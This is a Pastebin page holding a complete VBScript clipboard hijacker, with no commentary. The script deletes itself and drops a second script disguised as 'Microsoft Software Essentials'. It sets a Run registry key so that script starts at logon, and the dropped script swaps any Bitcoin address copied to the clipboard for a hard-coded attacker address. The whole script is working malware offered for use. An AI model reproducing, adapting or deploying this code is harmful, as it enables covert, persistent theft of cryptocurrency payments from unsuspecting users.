Advertisement
Pizzahuty

Untitled

Oct 23rd, 2017
502
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.11 KB | None | 0 0
  1. Set objWSH = CreateObject("WScript.Shell")
  2. Set objFSO = CreateObject("Scripting.FileSystemObject")
  3. objFSO.DeleteFile(wscript.ScriptFullName)
  4. On Error Resume Next
  5.  
  6. MyBTCAddress = "16kTgpux2489MN7YXoyqbtQMiMa3SWDogw"
  7.  
  8. BTCFolder = objWSH.ExpandEnvironmentStrings("%PROGRAMDATA%") & "\Microsoft Essentials"
  9. BTC = BTCFolder & "\Software Essentials.vbs"
  10. RegKeyName = "Microsoft Software Essentials"
  11.  
  12. If Not objFSO.Folderexists(BTCFolder) then
  13. objFSO.CreateFolder BTCFolder
  14. End If
  15. Const HKEY_CURRENT_USER = &H80000001
  16. strComputer = "."
  17. Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
  18. objRegistry.SetStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", RegKeyName, chr(34) & BTC & chr(34)
  19.  
  20. Sub CreateBTCs
  21. Set FileBTC = objFSO.CreateTextFile(BTC, True)
  22. FileBTC.WriteLine "On Error Resume Next"
  23. FileBTC.WriteLine "Set objHTML = CreateObject(" & chr(34) & "HTMLfile" & chr(34) & ")"
  24. FileBTC.WriteLine "Set objWSH = CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")"
  25. FileBTC.WriteLine "Do"
  26. FileBTC.WriteLine "wscript.sleep(500)"
  27. FileBTC.WriteLine "Clipboard = objHTML.ParentWindow.ClipboardData.GetData(" & chr(34) & "text" & chr(34) & ")"
  28. FileBTC.WriteLine "LengthofClipboard = Len(Clipboard)"
  29. FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "1" & chr(34) & " then"
  30. FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
  31. FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
  32. FileBTC.WriteLine "End If"
  33. FileBTC.WriteLine "End If"
  34. FileBTC.WriteLine "If Left(Clipboard,1) = " & chr(34) & "3" & chr(34) & " then"
  35. FileBTC.WriteLine "If LengthofClipboard >= 26 and LengthofClipboard <= 35 then"
  36. FileBTC.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & MyBTCAddress & "| clip" & chr(34) & ", 0"
  37. FileBTC.WriteLine "End If"
  38. FileBTC.WriteLine "End If"
  39. FileBTC.WriteLine "Loop"
  40. FileBTC.Close
  41. End Sub
  42.  
  43. CreateBTCs
  44.  
  45. objWSH.run chr(34) & BTC & chr(34)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement